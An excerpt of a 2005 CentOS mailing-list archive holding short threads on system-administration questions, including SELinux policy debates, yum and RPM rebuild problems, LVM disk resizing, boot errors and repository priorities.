for comments by people more knowledgeable than I with the intent of narrowing the permissions granted the application to the minimum set required. Audit2allow often recommends wider scope than actually needed. The result is that with a few minutes work virtually any application can be enabled within SELinux without forgoing any of the other benefits that SELinux provides. Even if the application is initially granted too great an access the resulting situation is usually still preferable to turning SELinux off entirely. One can always return to the local policy file and tighten it up when one obtains the necessary information as to where this is advisable. Regards, Jim -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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Evolution problem after update
by Sam Drinkard 16 Nov '05

16 Nov '05

List: Not positive this is an update problem, but did not have it till after a recent update. Now when sending mail to my mailserver, I get an error from Evolution as "Host lookup failed: vortex.wa4phy.net%20 :Name or service not known" I have to use the MSA port due to port 25 being blocked by isp. Any ideas about the error message? The resolver is pointed to the upstream name server, and I have made no other changes. -- Snowman

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Re: centos] Beware - Yum 3.5 to 3.6 upgrade replacesnamed.conf -- not a YUM issue ...
by Brian T. Brunner 16 Nov '05

16 Nov '05

"Bzzzt wrong --- yada" is contentious, we don't need it. Please. 2: It's not rpm, it's the packager => "The killer is innocent, the *gun* killed the victim" " the gun didn't kill him, the *bullet* did" "no, the wound did!" "no, the loss of blood did" "no, dying did". *jeesh* Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> herrold(a)owlriver.com 11/15/05 03:56PM >>> On Tue, 15 Nov 2005, Bryan J. Smith wrote: > Has nothing to do with YUM. > It has to do with RPM. buzz -- wrong - thanks for playing -- It has to do with the rpm packager's design decisions; nothing more, nothing less -- rpm did just what it was told to do. -- Russ Herrold _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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[Fwd: [suse-amd64] OFF-TOPIC - *very* bad]
by William A. Mahaffey III 16 Nov '05

16 Nov '05

I saw this on the SuSE AMD64 list & decided to pass it along, since it seems like a sneaky problem. Later posts confirm it is *NOT* AMD64-specific, nor SuSE 9.3 specific .... -- William A. Mahaffey III --------------------------------------------------------------------- Remember, ignorance is bliss, but willful ignorance is LIBERALISM !!!!

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Jinzora and mounted file system
by Darryl L. Pierce 15 Nov '05

15 Nov '05

When I setup my system, I created a file system (/dev/hda3) that I mount as /var/music. I installed Jinzora on my system and want to use it as the frontend for listening to my MP3s. However, when Jinzora tries to access anything on /var/music it complains that it's an invalid file system. I can use sound-juicer to rip CDs and write them to that file system, though. I also created an alias for Apache to host that directory and that also complains that it's not accessible, so I'm thinking there's a permissions problem. The mount point and the files on that file system are owned by apache.apache so that's not the problem, I'm assuming. Any ideas? If I copy the files to a a directory that's *not* a mount point then Jinzora reads the files just fine, even if that directory's not an Apache alias... -- Darryl L. Pierce <mcpierce(a)gmail.com> Homepage: http://mcpierce.multiply.com/ "By doubting we come to inquiry, through inquiry truth." - Peter Abelard

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Re: [CentOS] Turning root partition into a RAID array
by chris hammond 15 Nov '05

15 Nov '05

RIP (Recovery is Possible) also has a script to allow you to install and boot it from USB flash/pen drive. Chris >>>spamcatcher(a)lantrix.no 11/15/05 1:03 pm >>> >That's the ticket. I wonder if anyone has tried building a "rescue USB >thumb drive" since the 1GB devices are so cheap these days. That would >be great for this kind of situation. FWIW, I'm booting my firewall from an usb pen drive with devil-linux installed, so a rescue environment should be doable. But then again, devil-linux works like a rescue environment for CentOS anyway. :) Regards, Harald -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean.

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Java support : is there a native package ?
by mbneto 15 Nov '05

15 Nov '05

Hi, I was wondering if there is a rpm package for java (jre) to centos 4.x or do I have to get from sun/ibm/blackdown ? tks.

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Re: selinux stuff - I just don't get
by Brian T. Brunner 15 Nov '05

15 Nov '05

Fixing it isn't my job, that's why! I got other strange fish to fry (like the frigging compiler), if SELinux *couldn't* be disabled, that would inspire an immediate decision to drop the distro. cold. Fix it if it pleases you to do so, *please* understand I'm plenty busy with the things I'm paid to do, and have *my* *own* hobbies & distractions for the free time. When SELinux is ready for The Big Time (meaning it doesn't break other apps), ship it my way! Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> tdiehl(a)rogueind.com 11/14/05 10:14PM >>> although I fail to see how anyone expects it to ever get fixed if no one will even try to use it. ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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Rescan harddisk size without rebooting
by kadafax 15 Nov '05

15 Nov '05

Hi list, I have a SAN attached to a CentOS 4.2 server. I have expanded the size of the virtual disk within the SAN (by adding a new HD to the disk pool) and need CentOS to see the new size (CentOS see it as /dev/sdb). I'm using LVM. Do you know a method for the Volume Group to see that one of its harddisk is now bigger, without rebooting (it's not a problem with a reboot but since the LDAP directory is on this server, it is problematic). Thanks. kfx

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CentOS 3.5 - CentOS 4.0 - DL145 G2 Boot problem
by Unni Krishnan 15 Nov '05

15 Nov '05

Hi , I am facing a strange problem .I am unable to install CentOS 4.0 on my HP DL145 G2 Server .I am getting the following error RAMDISK: couldn't find valid RAM disk image starting at 0. Please append correct "root=" boot option VFS: cannot open root device "<NULL>" or unknown-block (3,3) Kernal panic - not syncing VFS unable to mount root fs however CentOS 3.5 installs properly .Can anyone let me why this is happening ? -- Unnikrishnan.P

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Re: [CentOS] [Fwd: [suse-amd64] OFF-TOPIC - *very* bad]
by Brian T. Brunner 15 Nov '05

15 Nov '05

Not a problem. I see it frequently. What's happening is that sudo doesn't ask for a password within "a few" of having gotten a good password. I have noticed that if I wait any significant period of time, I do get the challenge again. This is on CentOS 4, i686. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> wam(a)HiWAAY.net 11/15/05 08:05AM >>> I saw this on the SuSE AMD64 list & decided to pass it along, since it seems like a sneaky problem. Later posts confirm it is *NOT* AMD64-specific, nor SuSE 9.3 specific .... -- William A. Mahaffey III --------------------------------------------------------------------- Remember, ignorance is bliss, but willful ignorance is LIBERALISM !!!! ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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RE: [CentOS] php version
by Ash Christopher 15 Nov '05

15 Nov '05

yum install php?? Maybe I am missing something. ________________________________ From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Mark Quitoriano Sent: Tuesday, November 08, 2005 9:54 AM To: CentOS mailing list Subject: [CentOS] php version How can i install php 4 on Centos 4? is there RPMs for centos 4? or can i use srpms(php4) of centos 3 to be used for centos 4? -- Regards, Mark Quitoriano, CCNA http://www.atamanetworks.com Fan the flame... http://www.spreadfirefox.com/?q=user/register&r=19441

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other repositories question
by dan1 15 Nov '05

15 Nov '05

Hello. I would like to know how other repositories than the official ones for CentOS 4 affect an update of a package if a package is present in both repositories. Will yum install the package that it finds having the highest version number ? and if so, is there a mean to tell yum that we would like to keep the preference to one repository instead of the highest version number on a possibly other repository ? I ask that because I realise that having multiple repositories added to yum might mix up things if the packages placed there are compiled for newer versions, and even possibly create another system than CentOS by updating several main common packages. That would do something between a CentOS and a cAos distribution, is that right ? For example, I would like to use Dag Wieers' repos, but I am in fear that some mix up might happen if there are several same packages with different versions than the official CentOS ones (and is it possible to have same packages there? ). Thanks. Regards, Daniel

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centos 4.x repo on mirrors
by Farkas Levente 15 Nov '05

15 Nov '05

hi, while all the centos 3.x release points to the 3.6 on all mirror sites, the 4.x series still has it's own directory. why are not these just links to 4.2? yours. lrwxrwxrwx 1 97 ftp 3 Nov 10 01:31 3 -> 3.6/ lrwxrwxrwx 1 97 ftp 3 Nov 3 21:01 3.1 -> 3.3/ lrwxrwxrwx 1 97 ftp 3 Nov 3 21:01 3.3 -> 3.4/ lrwxrwxrwx 1 97 ftp 3 Nov 3 21:01 3.4 -> 3.5/ lrwxrwxrwx 1 97 ftp 3 Nov 10 01:31 3.5 -> 3.6/ drwxrwxr-x 14 root root 4096 Oct 28 17:31 3.6/ lrwxrwxrwx 1 97 ftp 3 Nov 3 21:01 4 -> 4.2/ drwxr-xr-x 2 root root 4096 Jul 18 23:11 4.0/ drwxr-xr-x 2 root root 4096 Oct 21 19:54 4.1/ drwxrwxr-x 12 root root 4096 Oct 13 13:59 4.2/ -- Levente "Si vis pacem para bellum!"

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selinux stuff - I just don't get
by Craig White 15 Nov '05

15 Nov '05

I am getting tons of these messages since I updated to 4.2 Nov 12 12:21:39 srv1 dbus: Can't send to audit system: USER_AVC pid=2839 uid=81 loginuid=-1 message=avc: denied { send_msg } for scontext=user_u:system_r:unconfined_t tcontext=user_u:system_r:initrc_t tclass=dbus Now I can see this process... # ps aux|grep 2839 dbus 2839 0.0 0.3 16168 1888 ? Ssl Nov11 0:13 dbus- daemon-1 --system root 17173 0.0 0.1 3748 668 pts/2 S+ 12:22 0:00 grep 2839 but I'm wondering how do I fix selinux so that it doesn't 'deny' this? Thanks Craig -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean.

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RESOLVED YUM error "can't create transaction lock"
by James B. Byrne 15 Nov '05

15 Nov '05

I found the culprit. The original yum process from November 4th was stalled. I killed this and the lock problem has been resolved. -- *** e-mail is not a secure channel *** mailto:byrnejb.<token>@harte-lyne.ca James B. Byrne Harte & Lyne Limited vox: +1 905 561 1241 9 Brockley Drive fax: +1 905 561 0757 Hamilton, Ontario <token> = hal Canada L8E 3C3

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Re: [CentOS] selinux stuff - I just don't get -- "outgoing firewallsare broken"
by Brian T. Brunner 15 Nov '05

15 Nov '05

> How's forever work for you? ;-> Absolutely FINE thank you! When your WizWonder package is housebroken, let me try it if I'm interested. Until then, a (stubbornly) broken distro will persuade me to try something else. That's why I left Windows, I guess, if you prognosticate correctly, it will be why I leave RedHat/CentOS. btw this has nothing to do with Firewalls at all. I bought a firewall (router) and use it. If I had to upgrade firewall firmware versions, and the new versions broke running applications, I'd consider the new firewall firmware BROKEN. As is, I don't mind SELinux, because I can disable it at installation time. I will continue to do so until it is no longer broken. Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> thebs413(a)earthlink.net 11/14/05 11:24AM >>> "Brian T. Brunner" <brian.t.brunner(a)gai-tronics.com> wrote: > How do we define Ready? I gave that answer in the text you > replied to: when it doesn't break things. How's forever work for you? ;-> NPTL, ANSI C++, GLibC 2 and many other adoptions Red Hat has made still break things. Heck, we're not even looking at recent things -- from 4K stacks to ACLs. ;-> > You ask about applications not being SELinux aware. The > proper things for SELinux to do in those cases is advise > the operator that SELinux can't manage this app because it > isn't SELinux aware, and that whatever security holes that > application embodies are outside the scope of SELinux. I think that's what the advisement is. You can start disabling some aspects of SELinux -- such as with permissive mode. > This is consistent with SELinux being a *service* to the > operator, not a bully-boss to the operator and the > authors/maintainers of every package Joe Operator might > have on his system. Actually, SELinux _is_ a "bully-boss" to the operator. It will _always_ be a "bully-boss" to the operator. > No, it doesn't. I think _many_ people other than myself have seen _many_ viewpoints on this issue. Why many people seem to think that there must be no less than an absolutism on SELinux until it accomplishes no less than the _impossible_ is beyond me. > It's about ownership of control. Is this RedHats' system > to break if they want to compel me to do things their way? Yes. And you have these options.. 1. Learn it and see if it fits 2. Put it into another mode (e.g., permissive) 3. Disable it 4. Look to another distro choice Red Hat has its reasons, and it's not going to change those reasons. Common Criteria is a major driver right now because of Linux can achive higher CC levels than Windows, while still running applications (which Windows virtually can_not_ do), then Microsoft will lose federal installations en masse. > If not, then distributing SELinux with a > default of 'on' when it breaks running systems is > distributing a broken software package. SELinux will _always_ break running systems. Just like a "deny all outgoing" firewall will too. > Translate: Everybody is out of step except my boy! > (and those who happen to be in step with him). Exactly! SELinux by default is here to stay if you choose Red Hat. > I say Broken, and Disabled for Good. Then that's your choice. Red Hat has made their default, but you still have choice. > The proper things for SELinux to do in cases of > non-compliant apps is to advise the operator that SELinux > can't manage this app because it isn't SELinux aware, and > that whatever security holes that application embodies are > outside the scope of SELinux. That's a *service*. You seem to fail to understand what SELinux does. ;-> > Breaking said applications is a broken application. Then add outgoing firewalls to the same list. Oh, you just turn an outgoing firewall off? Well then, that's your solution. ;-> I don't know if I could make a better analogy. -- Bryan P.S. SELinux is _not_ a service. It is an _enforcement_ in the kernel. There are hundreds of rules. Applications either learn to make SELinux considerations, help write rules, or a combination of both. SELinux is basically the biggest change to Linux in a long, long time -- breaking the 30+ year legacy UNIX model. -- Bryan J. Smith | Sent from Yahoo Mail mailto:b.j.smith@ieee.org | (please excuse any http://thebs413.blogspot.com/ | missing headers) _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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OpenMosix
by Alan Sparks 15 Nov '05

15 Nov '05

Anyone have any experience running OpenMosix on CentOS 3? Are you using a kernel custom built or from somewhere? Any maintenance headaches wrt kernel updates? Thanks in advance. -Alan -- Alan Sparks, UNIX/Linux Systems Integration and Administration <asparks(a)doublesparks.net>

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RE: [CentOS] Rebuilding RPMs
by Bowie Bailey 15 Nov '05

15 Nov '05

From: Matt Hyclak [mailto:hyclak@math.ohiou.edu] > > On Mon, Nov 14, 2005 at 12:09:49PM -0500, Bowie Bailey enlightened us: > > From: Karanbir Singh [mailto:Mail-Lists@karan.org] > > > > > > Bowie Bailey wrote: > > > > I am trying to install the Cluster RPMS from rpm.karan.org. > > > > But since I have updated my kernel with yum, I have the wrong > > > > kernel for a couple of the packages. > > > > > > > > I think I can just grab the source RPM and do a rebuild, but > > > > having never attempted that before, I just want to make sure > > > > I'm not missing anything. (I have built RPMs from source > > > > tarballs, so I know how to setup the build environment) > > > > > > > > It looks like I can just do this: > > > > > > > > # rpmbuild --rebuild cman-kernel-2.6.9-36.0.src.rpm > > > > > > > > Is there anything else I need to do? > > > > > > > > > > Just simple rebuilds will work, you might need to work out what > > > order they are built in - and some pkgs like the cman-kernel > > > need a specified --target i686 passed in via the rpmbuild. > > > > Hmmm...no luck there. It still wants the older kernel. > > For the *-kernel packages, you'll have to rpm -i the src.rpm, edit > the spec file, and rebuild from that. Making progress here. One more question and I think I'll be done. I installed the source package and edited the spec file to change the kernel version and remove the fake-build-provides requirement (as I can't seem to find it and it appears to be safe to remove based on a previous conversation on this list). I still have a build requirement for the kernel-hugemem package. I don't have the hugemem kernel installed and I'm just trying to build the smp package. Is it safe to remove this dependency if all I care about is the smp package? $ rpmbuild -bb --target=i686 rpm/SPECS/cman-kernel.spec Building target platforms: i686 Building for target i686 error: Failed build dependencies: kernel-hugemem = 2.6.9-22.0.1.EL is needed by cman-kernel-2.6.9-36.0.i686 Thanks, Bowie

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gd2 on Centos 3.6?
by Mike Kercher 15 Nov '05

15 Nov '05

I need to upgrade gd from 1.8 to 2.x, but can't find any rpm's to do so. If I try to rebuild a .src.rpm, I get into a dependency hell. Does anyone know how I can accomplish this upgrade without getting into a source install? Mike

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